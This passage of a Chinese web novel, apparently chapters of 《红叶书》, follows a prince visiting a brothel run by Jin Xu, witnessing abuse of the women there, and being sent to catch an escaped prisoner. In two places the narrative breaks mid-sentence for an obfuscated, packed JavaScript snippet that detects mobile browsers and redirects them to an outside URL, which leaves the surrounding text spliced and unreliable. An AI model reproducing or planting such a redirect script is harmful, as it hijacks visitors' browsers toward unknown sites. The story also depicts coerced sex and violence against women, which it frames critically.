她浑身一颤,从沉思中惊醒,等了一会才抬头看他,惊疑道:“王爷?” “你上回问了我,我想跟你说来着。”梁风与她隔着一段距离,也坐到桥栏上,手背后抓一缕头发,给她展示道:“头发沾了酒,你就洗这一缕头发就好了,其他的不用洗,也不妨碍睡觉。” 金絮怔怔的,看起来还没反应过来,下意识接住了他递去的头发,然后迅速松开,“呃哦......也是,我怎么没想到呢......” 她挠挠额发,“王爷就为了说这事特意来一趟?” “不是啊,我是来陪你的。”梁风道。 “陪我?哦,陪我啊......”她闪烁的双眼若有所思,“陪我。” 她衣裳的穿法和上回一样敞开了领口,这个时辰好像还没客人来吧,梁风移开目光,还是不要看好了。 梁风想开口问她些事情,金絮突然指道:“王爷,后面的寝楼有辆牛车,上面放了两个盆栽,我想搬到屋子里去,可是太重了,你能帮我搬一下吗?” “可以啊。”梁风立即答应,准备往桥那头走,“在哪呢?” “还是不用了。”她改口:“王爷,陪我走走吧。” “不用搬了吗?” “不用了。我想起来已经搬过了。”她起身拉住梁风袖子,“走吧。” 梁风顺从地跟着,走两步金絮便放开他的袖子。 “以后你怎么打算呢?”梁风问。 “不知道,看情况吧。”金絮心不在焉地看路,“我现在是不知道该拿徐礼怎么办。” 算一算,徐娘的儿子也有十二岁了吧,她身边带着个弟弟一样的外人确实不方便。 “我想教她们识字。”金絮道。 “教谁?那些姑娘吗?” “嗯。” 到了前馆后门,金絮推开门,超前他一步,没有回头请他进去。 梁风一步跨入,追问:“你是很喜欢她们吗?” “嗯。”金絮在一张妆台前坐下,挑选一堆很小只的瓶瓶罐罐。 “那你是想以后和她们一起生活?”梁风站在她身后几步,问她。 镜子里的金絮没答话,低头选了个桃花瓷瓶,打开,往指头上倒,瓶子里是水,然后她把湿哒哒的指头抹在衣袖和领子上。 她做得专注,梁风看着她的动作,不明白她在干什么,过了好一会才听见她答:“嗯。” 她涂抹完,盖好瓷瓶,道:“出去吧。”便走去房间的另一扇门。 “也好,你想怎么做就怎么做吧。”梁风亦步亦趋跟在她身后。 金絮已经过了十五岁了,她当然可以决定自己以后的路怎么走,外人也插不了嘴,他难道要横加干涉? “可是你要一直打理嬉春院吗?” 穿过一条条短短的走廊,金絮又推开一扇门,门后就是堂肆。 即将营业,丫鬟们纷纷点灯,站台上有姑娘调试琵琶开嗓,逐渐亮起的烛火照向了大门外频频晃过的行人。 梁风低头看她,见她没说话,又问了一遍。 行人被一辆驶来的马车挤到路边,马车只露了个车头,上面款款下来一个男人。 金絮转身,全身转过来,抬头面对着他,嘴唇含了一点点笑。 梁风认真看她这张脸,有些不可思议,“怎么了?” “王爷。”金絮看他的双眼完全目不斜视,仿佛注意力只在他一个人身上。 “你直说。”梁风道。 大门处响起了一些欢呼,梁风听见响动看去一眼,嬉春院走进来个男人,周围众女子一拥而上。 金絮忽然抬起手,伸向他左肩,捻住他的几缕头发。 梁风一愣,低头就看。 金絮指尖捻着他的头发,还有一片叶子。她的手指顺着头发滑下,拣下来的叶子随手扔在地上。头发飘着落回他的胸口。 为他拂去了肩头落叶,金絮抬回视线,轻声道:“来客人了,梁公子若是不着急回府,便找位置坐下吧,听听曲,会有人伺候你的。” 说完,她微一福身便想走,梁风赶紧唤住:“等一下。” “衣裳穿好吧,领子开了。”他手指比着自己的衣领示意。 金絮本能按住衣领,摸到了裸露的肌肤,片刻她忽一笑,“莲儿说我的脖子好看,最好是露出来。” 梁风皱眉,“大家的脖子不都一样么,有什么区别,你是多了一块肉,还是少了一块肉。” “王爷不明白吗?”金絮脸上笑不减。 “如果你全身好看,全身都要露吗?”梁风问。 金絮垂眼,又一福身,扭头就走了。 不理他了。一年多没见,金絮会使小性子了。梁风抓住胸前那几根头发,扔到身后。摘叶子就摘叶子,还要摸他的头发,她以前好像不会这样。 梁公子。他变成了这里的一个客了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839854|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。或许夜晚不是好时候,他应该在白日里来的。 梁风看着金絮坐到刚进门那男人身边,低声说笑。说了几句,不知聊到什么,那男人朝梁风看来一眼。 这男人的年纪比赵关轻许多,应当三十岁不到,衣服透出的肌肉有明显在军营待过的痕迹,但梁风没在军营见过这人。 这男人,他竟越看越觉得眼熟。 在哪见过呢。他用力想,脑海里出现一幅这人和游照同站在一起的画面,忽然想起来,他是在朝会上见过这人。 原来是个文官。名字不记得了,或者是不知道。 梁风又看一眼金絮,她仍浅浅笑着,低声说着什么。梁风收回视线,自己找了个位置坐下。刚坐下,又觉得他还坐在这里干什么,不如回府。 “公子,我来伺候您。” 叫莲儿的姑娘小步跑来,立即攀住他的袖子,欺身贴近,防止他走掉。 梁风低头一瞥紧贴着他手臂的柔软衣服,就势完全坐下了,想了想,也正好打听一下她这一年多里的事情。 “公子喝酒。” “那男人是谁?”梁风下巴指指那个文官。 “那是林融林大人。”莲儿道:“朝廷里一个大官呢。” 姓林,说不定是游照同的人。梁风问:“多大官?” “不知道。” “说说他。” 莲儿想想,道:“林大人和赵老板一样,都想出钱承包嬉春院,阿絮在他们两个之间犹豫呢。” “犹豫?” “嗯。”莲儿点头,额前细发跟着晃一晃,“阿絮说要抬高底线,选一个最舍得出钱的。但我们多数觉着,做女人呢,就应该两个都拿下,用着一个的钱去哄另一个出更多的钱。” “做女人......”梁风不太能理解,这不是欺骗么。 莲儿道:“阿絮很难选呢。林大人好大方的,前几天送了阿絮一身好漂亮的衣裳,阿絮穿着那身衣裳去见赵老板,隔天赵老板就提价了。” “哦......她穿着一个男人送的衣服,和另一个男人出门。这就是做女人么?” “做女人的一部分。”莲儿一笑。 梁风看着金絮,她低低笑笑,十分愿意分享的样子,忽然透出了一种神秘。 “那总是松散地穿着的衣服,也是‘做女人’么?” 莲儿也看看金絮,眼睛一转,笑问:“公子不喜欢?” 梁风摇头,“她不合适。” “可是裹得再严,不也还是要露脸么。”莲儿撑着案几托腮,“公子要知道,在青楼里面,裹得严严实实的反而会成为异类,客人们都会想扒开她的衣服,看看里面究竟藏着什么宝贝。那还不如露一点,才不引人注意,而脖子,是除了脸和手外,任何时候都会露出来的部位了。我们想保护她。” 莲儿对他微微一笑,眼珠当真如莲子一般。 “林大人算个好人。”莲儿继续道:“别的不说,他和阿絮说话时,从来都是盯着她的眼睛,几乎不会看脸之外的其他地方,人也长得丰神俊朗。相比起赵关,相比起做一次两腿都是油的经历,还不如选林大人呢,何况两个都是出得起钱的人。” 油?腿?梁风想歪了。 又盯住金絮,盯得金絮侧头看了他一眼。 然后金絮微微一笑,继续和林大人轻轻笑笑地分享。 瞅着她的后脑勺,梁风问:“徐娘还活着时,对她做过什么事情?” 莲儿放下托腮的手,“我记得......刚开始还会把她绑到街上,强制她揽客,每次都是蓉儿把她救下来。但很快,阿絮开始教徐礼识字,成了徐娘的贴身丫鬟,没再吃什么苦。早在徐娘死前,阿絮就已经慢慢地接手嬉春院了。” “徐娘死前,曾交代过她的儿子?” 莲儿想了想说:“应当是交代过,我不知详情,只听阿絮说起,徐娘临终前用这座房子换徐礼在她收留下长大。” 莲儿说完,面露犹豫,注视着金絮道:“徐礼不小了,其实大可不管的。” 但她管了。她不会对一个死人背信弃义。可是这样值得吗?梁风同样默默注视着金絮。 丫鬟送上来酒食,梁风选着喜欢的吃了,一边吃饭一边关注金絮那席,偶尔也把眼光飘向那姓林的小官。 梁风端着酒杯,眯眼看着,尽量保持耐心。 竟然还不过来跟他见礼,文官的胆子就是大。 嗑地一声,酒杯放在桌面,酒水洒出些许,令莲儿停下斟酒动作,抬头看着他。 周围人多变得嘈杂,金絮起身招呼过其他男客,在堂肆里绕了一圈,最终坐回了那林姓小官身边。 她可真忙。雨露均沾的忙。 120. 《红叶书》(四十) 酒盏见空,一片雪白的衣纱飞至眼前,遮住了他过多关注的金絮那席。 他似乎看了金絮太久,无暇警惕其他。梁风顺着衣纱往上看,裸露肩颈的女子在他面前长袖起舞,红色嘴唇微笑着,期待地望着他。 梁风以衣纱遮挡扫视周围,眼前的热闹存在异常。 唱曲声不知什么时候增大,软软的曲调以不适宜的嘹亮传遍整个屋子。 他凝神仔细听,软调拉高之下,隐约掩盖了不知名角落里的呜咽。 有人在哭。断断续续,随时要咽过气似的。 他迅速找准发声方向,起身循去。 堂肆右侧一面屏风后,亮着灯笼的包厢内,传出一道女子微弱的哭泣和痛呼,还有几句破碎的求饶。 梁风认得,死刑犯忍着极大的痛苦嘴里却被塞了一块破布,发出的就是这样的声音。 听起来年纪很小。梁风举起手臂,蓄力准备挥拳,试图破门而入。这时,一股柔软的力道包住他的右手,轻松拦下他即将前冲的气势。 力道柔软不含攻击意图,梁风没有立即抽手跳开,然而贴得太近,他本能改拳为刀横劈而去,却在一斜眼的余光中,看见右侧站着的人是金絮,他瞬间止住手刀攻势。 金絮浑身一缩,双手下意识更抱紧了他的手臂,掌风吹动她腕侧一小片衣衫。 梁风霎时窘迫了,当即收手垂在身侧。 “我没有注意到是你,没受伤吧?” 看来他对女子的防备还不算太低,竟没注意到金絮的靠近吗? 金絮除了被他掌劈的动作微微一吓,没有别的反应,也不生气,先前还对林融露出的笑容此刻隐去了。 “你会心疼她们吗?”她问。 心疼?梁风看了眼看不见的房间里的女子,被欺负的声音仍清晰可闻。 “青楼女子很少能得到男人的耐心。如果客人们手段强硬,她们是会痛的。可是没有人心疼她们。”金絮道。 房间里微弱的哭泣逐渐变成尖叫,却仍压抑着,仿佛正受着重刑却不能惊动外面的人。还有床摇拍打木板的动静,听起来真的很像在打架。 “王爷还是别进去看了,她们不喜欢被围观。”金絮拽着他的袖子把他拉走。 梁风走开两步,停下回头,脑海里形成对那房间内的模糊想象,薄薄一扇门,锁住了所有的挣扎和不情愿。那女子喊得那样痛苦,却无法拯救自己,外面的人也只能干看着。 “所以你想帮她们。”梁风问。 金絮目光越过他肩头,眼中不知因为什么而犹豫,良久,她点头,“嗯。” “不如把嬉春院卖了,我护她们离开京城,送她们到她们想去的地方。”梁风道。 金絮摇头,“离开京城并不能解决问题,青楼女子是不被尊重的,去到哪里都是一样。她们无家可归,最初不是被父母卖了,就是人牙子拐了,都没有家,能去哪里?” 这话也是在说她自己,梁风思索一番道:“选个喜欢的地方,做点生意,养活自己。” 金絮还是摇头,“很多人不相信风尘女子会从良,即便她们想安家自立,不管做什么,在外人看来那都是一个由青楼女子做出的生意,大家都会觉得,想必给点钱,就能得到自己想要的。在青楼之外的地方受侮辱,那才是真的侮辱。” “总不会没有一个地方是特例......”梁风刚开口又止住话头,还是不要置喙了,改道:“我理解不被尊重。”他看着她的双眼,“我尊重你。” 她没回应。可她不需要回应,梁风有时候自己都觉得,他很多话是非常的苍白且无力。 “应和王这是想尊重谁啊?” 散漫的声音郎朗响起,盖过了唱词软曲,梁风眼光一侧,就见那林姓小官负手走来。看方向,这小文官方才是去解手了。 “才回京就上花楼喝酒,王爷真是好兴致。”林融揖礼,“下官见过应和王。” 语气是不是有点怪?梁风皱着眉,淡应:“嗯。” “应和王也想竞价?”小文官似笑非笑地看看金絮,“这女人胃口也是大,有我和赵关都不够,还要加个应和王。” 梁风疑惑一闪而逝,金絮便笑答:“当然不,应和王殿下对我可没有兴趣。” “哦?是吗?”林融似笑非笑的神情转向梁风。 梁风则将目光转向金絮,“什么意思?” 她犹豫一下,双手不自觉交握捏住腕侧衣袖,道:“年初......我发了一个对赌协议,抵押品是我自己。” 梁风眉头皱得更深,“赌什么?” “赌钱。我需要一笔钱来维持嬉春院的运作,谁出价最高,我就和他对赌,堵我一年内能否将嬉春院的营收翻番。如果我赢了,这笔钱就不用还了。” 梁风立马拽着她手臂扯到旁边,低声问:“为什么?” “因为缺钱。”金絮淡声道:“徐娘除了留下徐礼,还留了一笔债务。她死后,债务落到了我身上。” “什么债务?” “治病,还有为徐礼找夫子的钱,向周围很多邻居借的,抵押品是嬉春院这块地。”金絮从他掌中抽手,眼神十分平静,“徐娘生前信誉不好,影响到了嬉春院,我无法以嬉春院的名义向官府或者钱庄借到钱,只能用这种办法。” “不会,徐娘可以向王府要到钱,当时你在她手里。” “用过了。王府的铜币是旧币,不是皇帝颁布禁铸私币令后的新铜钱。官府以为徐娘私藏旧币,将嬉春院里外全翻了一遍。徐娘又多嘴说那是应和王府私藏的钱币,官府便判她诬陷应和王,将她打成重伤。徐娘的病情恶化了。” “如果没了嬉春院,这一屋子的人都将无处可去。”她语气里忽然有一股不知道对谁的冷漠。 对这件事,梁风是愧疚的,虽然他不喜欢徐娘,但更不喜欢谁因为他而蒙受不白之冤。 “对不起,这事是我的疏漏。王府的旧币也是禁令颁布前由官府造的,新旧币只在刻字上有一些细微区别,不容易辨别,之前就有些旧币遗漏在王府。”梁风道:“我把新币给你。” 金絮摇头,“不行。我不用你的钱。不管是林大人还是赵关,往青楼里砸重金,于他们的身份不算违和,但是王爷就不合适了。像王爷这样身份的人,即便要去青楼也该是畅春阁这样的大馆。” 为什么那么多个不字拦在他面前。花钱还要看馆子花吗? “王爷是怕我会输吗?”金絮看着他的双眼问。 “对,我是怕你会输。”梁风承认,“你如果输了怎么办?” “我不会输。敢冒险,我就不怕输。”金絮向后退了一步,“反而我不喜欢的是,已经在青楼这样的地方了,实在没必要懂了却装不懂。” 林融见她后撤,立即上前拉走她,“过来斟酒。” 金絮向梁风福礼作别。 梁风默默注视她,发觉金絮心思变深了。 青楼女子也很漂泊,漂泊到随便一只手臂勾一勾就可以搂走。 梁风没再坐一会,回了王府,叫来李晟,心情有点惆怅。 “我现在有些看不懂金絮了。” 老李看得淡然,“什么事情不懂?您有什么事情不懂,直接问絮姑娘就是。” 也是。他也没什么不能直接和金絮说的。 夜更深,梁风准备沐浴,更衣时发现右袖外侧有抓出来的密集褶皱,像是拳头照着衣服用力一握。他举袖凑近看了看,回想今日近过他身且抓过他袖子的人好像只有金絮。 隔日,梁风再次入城,寻去金絮口中那座符合他身份的青楼大馆——畅春阁。 畅春阁很大,光是门面就很大。笼烛挂满檐角瓦片,灯火璀璨地贴街而立,遥遥便能看见那巨大的招牌。大门巨口喷出的一股香气,躁动地沿街曼延,远比嬉春院浓烈。 门前站着个女人,周身气质很像他印象中的徐娘。梁风多看了眼,那女人立即在人群中捕捉到他的目光,热情地迎了过来。 女人自我介绍说叫包春娘,认出梁风是头回来,亲自点了两个姑娘陪侍梁风。一个愣神的功夫没有拒绝,梁风几乎是被架着手臂拖进了畅春阁。 许是因为地处繁华大街,畅春阁内部反而没有外面看起来的那么大。和嬉春院一样的筒状楼,三层,层高较高,红黄两色纱幔围在四周,帷幔后的人影影绰绰。堂肆的桌席之间挨得很近,梁风就坐于一席,身边陪着他的除了姑娘还有同为来客的男的,不是同席,坐得太近,仿佛拨弄一锅饺子的感觉。 中央一座高台,上面舞姬琴妓展示身手。曲子不好听,不是嬉春院那种软调,唱声里的情绪更为直接和奔放。 梁风顾不上细听,陪侍他的姑娘一个劲地给他塞酒,拼命般让他多花一壶酒的钱,更无暇在意贴着他的身子有多柔软。 生意比嬉春院好太多了,陈设和墙筑涂漆相当崭新,是有花心思维护的,不像嬉春院用盆栽遮挡墙角裂缝。 姑娘起身取酒的间隙,他终于喘了口气,仔细看看周围,又听见了在嬉春院内听见过的仿佛受重刑却无法叫喊的声音。 就在他附近。梁风侧目一看,隔他一席的一对男女四条腿交缠对坐,贴得很紧。 女子光洁的身子展现在他眼中时,他还没反应过来,没反应过来女子脱了衣服之后原来是这个样子。男人粗短的手指肆意揉抓她的皮肤,红痕与沟壑在爪尖扯出,力度之大,梁风只在沙场上赤手掐死敌军时见过。 周围的人似乎毫不介意这样的事情就在大厅上演。他们甚至连房间都不进去。 那名女子面露痛苦,男人脸上青青紫紫的颜色比被掐死在手下的死人脸还难看,野兽一般,扒着口中的吃食。 这件事情好像和他想象中的不一样。 “为什么不进厢房里去?” 梁风难以理解。另一侧有女子倒在地上,推不开压在她身上的男人。男人无视她的痛苦与推拒,扇了她一巴掌,怒吼:“安分点!老子花了钱的!” 梁风收回目光不再看,闻到了淡淡的血腥气。 “房间都满了。”服侍他的女子回答。 世界仿佛在他眼中颠倒,子曰孟曰的东西正在离远,不存在之乎者也的地方,这里也是一个战场。 粗暴凶狠的是少例,其他席位的一堆堆男男女女搂抱交缠,动作舒缓很多。他们调笑着互扯对方衣服却不完全脱下,一个攻,一个防,攻的不彻底攻陷,防的也不严防死守,似乎双方都沉浸在这你来我往的互相对垒之中。 梁风不知道是不是所有女子都那么不情愿。如果同样是沙场打仗,女子们对战的敌方是这些男的,上战场就是上床榻,穿着几层薄纱,有的甚至不穿,弱点暴露无遗。而力量更强大的男人上战场,却会用坚厚的铠甲把自己包裹得严严实实。谁才是更弱的那一方? 女子大多应当是不情愿的,至少他自己,并没有十分喜欢打仗。 回想军营里士兵的讨论,他们的态度所对待的或许不是女人,而是母猪。原来那些士兵讨论时,美好的幻想包裹着猥琐的本质。以多数男人对这件事情的理解,放到女人身上是十分残酷的。 不管是金絮,还是嬉春院里其他姑娘,梁风都不愿把她们当母猪对待,无论因为何种原因流落青楼,她们是人。 “抱歉,我不看了。” 梁风起身,离开畅春阁。 夜色尚浓,他去嬉春院,还想见见金絮。 今夜嬉春院生意特别不好,堂肆很冷清,见不到几个人,厢房的灯笼亮着三盏。 梁风躲开欲来服侍他的人群,在厅堂没见到金絮,便径直走去庭院。 月光很好,池上砖桥照得发白。金絮却不在那。 竹林叶影间传来絮语,有人对答。梁风循音找过去,在池子边的亭下见到金絮被树叶遮挡的身影。她面前还有一个人。 “你拒绝我。” 梁风眉头一皱,这是那个林姓小官的声音。 “因为应和王?” 金絮模糊回答了一句什么,似乎是否认。 “是,堂堂应和王自然不容小觑。”那小文官轻轻一笑,“只是我没想到,你的眼光不过如此。你可别后悔,嬉春院所在的这条街,别忘了归谁管制。” 梁风眉头更皱,这小文官是在暗示什么?这么明目张胆。难道金絮一天天都被这样的人威胁?甚至包括整条街的商贩。 “我不会后悔。”金絮回答道:“正是托庇于林大人,来福街所有商贩定会财源滚滚。这个赌,我自然不会输。” 姓林的呵呵一笑,不知是什么意味。 林凯是林家人没错,这时候当然会借家族荣耀往自己脸上贴金。梁风特厌恶狗仗人势,绕树走过去,盯着敌方一般盯着林凯,道:“这条街归谁管制都不能绕过我的手下,你又在抱什么妄想? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839855|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 金絮意外于他的突然闯来。 林凯乍被打断而神色不愉,见是梁风,扯了扯嘴角,“应和王当真是君子作风,半夜窝在这儿偷听。” “我没有想偷听,我是路过正好听见而已。”梁风很坦然,“你这样说话,不怕给林昭仪带去不必要的麻烦?” “或许会吧。”林凯微微一笑,“林氏不在乎。” 梁风无话可说,不想把脸撕得太破,他母亲还在林昭仪宫里。他道:“你说不在乎就不在乎?你有胆子为家族惹事,林家往后也不会给你荣耀的机会。” 林凯脸色僵了几分,敛了笑,沉沉一礼,“应和王说的是。” 眼神从梁风身上略走,林凯俯身靠近金絮,低声道:“既然已经被拒,下官当然不做过多纠缠。有缘再聚。”再靠近一点,林凯眼中有很深的笑意,“你若赌输,可再求助于我。” 金絮没有后退,保持不动,看起来平淡无波。林凯轻笑一下,转身走了。 梁风却在她身上察觉到了轻微的警惕,有点像炸毛的猫,浑身密密刺刺的感觉,也像没穿铠甲赴沙场。 “怎么了?”梁风问她。 金絮摇摇头,表示没什么。 他扭头盯着林凯的背影直到看不见,没看出端倪。 金絮想着自己的事,出了瞬神,忽然道:“畅春阁的香。” 他一愣,低头往身上摸了摸,“我刚从畅春阁过来的。” “我知道青楼和青楼之间也是不一样的。”他向金絮道:“你把赌约取消吧,我们一起想办法渡过难关,我不希望你舍弃自身安危而冒险。” “王爷有什么办法?”金絮看向他。 “钱而已。我让老李开间铺子,专门用来周转钱财。” 金絮听了便移开看他的目光,神色间并没有十分认同。 “我需要钱。我需要源源不断的钱。”她道:“最好是像皇帝那样,永远不会缺钱。” 梁风这次倒是真的愣住了,“为什么需要这么多的钱?” 她低着脑袋往亭子外走,“嬉春院里又有姑娘因为清洁病倒下了。这类的病,不好治。” “那就多开几间铺子,开个酒楼或者钱庄。”他只需要从封地内把金钱调过来而已,又不麻烦。梁风跟上她。 “王爷多数时候不在京城,开了铺子最后也是交给李管家打理,怪辛苦李管家的。”金絮道。 梁风不由惭愧,他没考虑到老李,开了铺子纯粹是给老李找事。 “王爷,”金絮抬头看他,“以后在嬉春院,我叫您梁公子吧。” “都可以啊。”梁风道:“不如我让李婶来治治......” “王爷,”她打断地唤了一声,“梁公子,刚才那位林大人的话让我有些苦恼,您可不可以让他以后不要这么说了?” “这人常常说这些话?” “嗯。”金絮面有忧色,“虽然林大人每次都只是嘴上说一说,实际也没做过什么事情,但是说得多了,嬉春院的客人就不大爱来了。” 原来如此。梁风再次看向那小文官消失的庭院尽头。正好,他看这人也不太顺眼。 说干就干,梁风当即回营,写了奏折呈上,陈述林凯在来福街借林家名头作威作福的事迹,参了这个姓林的一本。 ——他写得夸大了一点,一点点。 若林凯在来福街真的达到了“作威作福”的程度,卫兵巡视京城时早该知道这人的事迹了。 参本告上去,过了一天,陛下传旨召他进宫。 梁风接圣旨的手顿了顿,不由寻思“作威作福”是否夸大得不止一点点,不过参个本而已,皇帝用得着叫他进宫去? 他有自己的目的。他想靠着这次上折试试他在皇帝心里的地位如何。如果此前的军功有效,能够稍微占上一丁点位置,那至少能让皇帝驳回这本奏折时略略思考一下,犹豫一下。 进宫后,轻微的忐忑随着见到皇帝略带揶揄的笑意而烟消云散。 “阿风什么时候学会告状了?” 皇帝手里捏着本折子,似笑非笑,“还是因为这种小事?” 小吗?梁风面无表情。 皇帝打开折子,慢慢念道:“喝花酒遇见,林凯这厮迟了一个时辰才来行礼问安。礼制何在?” 皇帝笑笑,“这不算小事吗?” 问安迟到,算他夹私。梁风面无表情道:“并不小。” 当然说的不是他夹私,而是林凯的言行令其成为了“这厮”的事情。 “这厮......”皇帝放下奏折道:“来福街的情况朕知道,林凯是其中最无关紧要的人。” 梁风静静地看着皇帝说话。 “一个从诏狱逃出去的死刑犯,在林家的遮庇下藏在了来福街的某个地方,朕暗中加派兵力守卫那一带,希望林家能主动交出刑犯,但已经两日了,还没动静。” 是么。梁风的巡兵布置没有影响,至少他手下的兵力没有受到其他调遣的影响,皇帝应当是暗命决曹的兵守卫。 “那刑犯定是藏在了某间铺子中。”皇帝道:“你这封折子来得正好,朕想借着你这折子,派你去将那刑犯捉出来。最近几日,可是连带那附近对商贾的管制都松了许多。” 原来是这样。梁风接旨:“是。” “捉住后不要将此事声张。朕会告诉群臣,朕是因为林凯这厮对应和王不敬而对林氏略施小惩。” 梁风一顿,再礼,“是。” 皇帝又露一浅笑,“为何要去喝花酒?缺女人吗?” 梁风愣住,礼着的腰没直起来。 “你可对你的婚事有打算?”皇帝道:“朕问过你母亲了,你母亲是说全凭朕做主。” 梁风又想到了之前与丕纳妃时那大喜之日却不见甚喜的模样,道:“有打算。臣弟想娶自己愿意娶的,不娶旁人吩咐的。” 皇帝看着他,表情没变,道:“好。你且知道朕对你的婚事是上心的便好。” 梁风还礼,“陛下没有旁的吩咐,臣弟先行告退。” 皇帝却叫住他,“先前忙了一阵,忘了同你说,你的那件铠甲有了磨损吧,朕命人取来,修复好了再送还给你。”皇帝半思索着道:“那副铠甲,似乎也穿了几年了吧?” 梁风便回头,“臣弟谢过陛下。” 根本没有几年那么久。梁风复复复礼,退出了大殿。 121. 《红叶书》(四十一) “你跑到那种地方是去做什么?” 母亲质问他。 “那些花柳之地的女子,惯是会戳人心窝子的。” “我又没有被戳到。” 少见梁风驳话,邓氏皱起的眉毛压沉了眼中神色。 “前几日,陛下提起过你的婚事,我想着是全由陛下做主,你怎么想呢?” “我暂时没想着成婚。” 本来没想过的,敬先成婚后他受了启发,倒是想了一想。 他道:“这几年里,我年年出征,还是先不娶妻的好。”娶了妻子,让她独守空房?妻子好像不是这样对待的。 “也罢,再等两年是等得起。”邓氏辞严道:“但是,那些风尘之地我可不许你再去了。你是不知道,那种地方的女子,就跟那些洗脚婢子一样,整日里想的都是如何顺着男人的脚爬到身上去。这些女子甩不脱,还埋汰。等你厌烦了,你就懂得了。” “哦。”梁风准备起身。 “你听见没有。”邓氏焦急道。 “听见了听见了。”梁风给暖阁留下一个背影,“母亲,我知道了。” 嬉春院那些女子是挺主动的,但要说想顺着他爬上去,那倒是没有。反而她们更惦记着钱,比如——比如金絮。 到了王府,梁风收到皇帝正式下颁的圣旨,命他抓住从廷尉私逃的刑犯。 梁风立即派出暗卫调查一番,并派人与廷尉诏狱对接,获知那名死刑犯的初步情况。 姓张,二十出头的年纪,家不在京城。刑讯时受了重伤,如果得不到及时救治,诏狱猜测其只死在出逃的路上。 据皇帝所言,刑犯与林家有染,或许是林家暗中帮助才得以私逃出狱。皇帝于是加派了眼线监视林家,处在风口浪尖的林姓全族自然不敢与刑犯有任何接触。那刑犯得不到救治。 张犯的罪名与金党有关。其在入朝为官后,写了一篇文章,直指当今赋法之弊,提出田租不能以所租田地面积为衡量标准,而是以该年收成占比来算,以此避免佃农在歉年都需缴纳高额赋税的弊端。 赋法,又是赋法,梁风想起了那篇不知道看过多少次的《赋法三戒》。如果要提出与田赋有关的任何观点,都绕不开金延守这篇可以说是标杆的文章。 张犯在他那篇文章中,对《赋法三戒》的观点并未持肯定态度,仅仅只是举例前人所著,为自己的内容做垫脚石,笔触已经十分拘谨。但即便这样,皇帝也容不下。 张犯被判罚后,三皇子出面试图保下他。 三皇子与张犯的关系,最早是在皇帝登基、与棣入了太学求学后,与棣偶然结识了因家境贫寒而对太学望眼欲穿的张犯。 两人似乎一拍即合,言谈颇投趣。三皇子便向皇帝请求,特批张犯进入太学。皇帝大手一挥,直接同意了。 如今张犯落难,三皇子定然想保。与棣不知用了何种办法救出了张犯,劫狱当晚就被廷尉发现,三皇子只来得及就近将张犯藏在了来福街由林氏掌控的某处位置。 皇帝舍不得对三皇子下手,于是林家担负了罪责。 三皇子的袒护上升成为林家的包庇,皇帝试图让与棣从这件事情中抽身。 三皇子的母亲林昭仪恐怕这段时间在宫里心惊胆颤。梁风担心的是母亲是否会受牵连,抓捕逃犯的期间,他要常常往宫里跑了。 该避开还是得避开,不能因为是多厉害的人写的文章就无顾忌地引用,梁风估计金党出事时这刑犯要么只惦记着读书,要么已经躲进了太学这座象牙塔里,看不到当时满城的兵荒马乱。但凡看到一点,都不会令自己和金党扯上关系。 他心里还有股愧疚,对佃农收取的高额赋税,有部分是用来给他收服匪患与叛民用了,花费在那千里之遥的路途上。如果他不去,佃农的负担或许会轻一些。他的战马马蹄,当真每踏出的一步,都踩在了贫农的鲜血上。 掌握了初步情况,梁风再派暗卫调查沿街商铺,尽可能收集刑犯的动静。 嬉春院也在调查范围之内。金絮不会私藏刑犯,但不能保证那犯人会不会自己偷偷藏进嬉春院里。青楼人多混杂,残余食物什么的也多,好藏人。 梁风一边从军营调兵,决定今晚就将人搜出来,一边前往嬉春院,提醒金絮今夜注意嬉春院往来行人,可疑的路人一律拦在门外。 “刑犯?”金絮听说后一脸惊讶,“当真?” “你不要怕。”梁风当先安抚,“嬉春院都是女子,藏一个男人藏不住的,而且那刑犯浑身是伤,很容易发现。” “可来客都是男的。而且正因为都是女子,才会害怕。”金絮召集丫鬟,“我今夜闭馆吧。” “你若是害怕,那我留几名卫兵守卫嬉春院,你就不害怕了吧。”梁风道:“嬉春院比其他店铺大很多,太容易藏人了,你即便不许,我也是要对嬉春院进行搜查的。” 金絮看了看他身后携带的卫兵,颔首,“好,我配合王爷。” 梁风一示意,身后士兵开始有序挨个厢房搜索。 来不及疏散男客和其他姑娘,被吓到反而是因为士兵佩刀戴甲的强势闯入。嬉春院内一时变得慌乱。 来福街其他地方的搜索结果陆续传来,梁风不断排除各个地点,推算刑犯可能的逃亡路线。 “那个犯人,是做错了什么事情?”他接收搜查结果的间隙,金絮忽然问。 梁风便将张犯与三皇子的关系简单说与她,她听后十分沉默。 这时传来消息,街头一家布行内有人举报发现可疑血迹,推测可能是那刑犯无意中挨蹭留下的。 梁风立即欲带兵前去,一回头,发现金絮还呆愣愣地站在原地。 “你好好待在这里,不要乱跑。” 见她没有答话,梁风再多叮嘱:“也不要乱想,那只是一篇文章,文章本身没有错。” 说完,不等她反应,梁风带兵去到那家布行。 下属来报说这家布行老板姓林。林老板举报的是一家酒窖,名何家酒窖。林老板自酒窖返家后,沐浴时发现衣服下摆沾了一点褐色血迹,便怀疑是那刑犯的血,立即上报给附近搜查的士兵。 梁风皱了皱眉,何家酒窖,那不是在嬉春院旁边吗。何家酒窖已经搜查过了,没有发现疑点,而且这老板也是姓林,不排除是林家的人试图将他引至错误的方向。 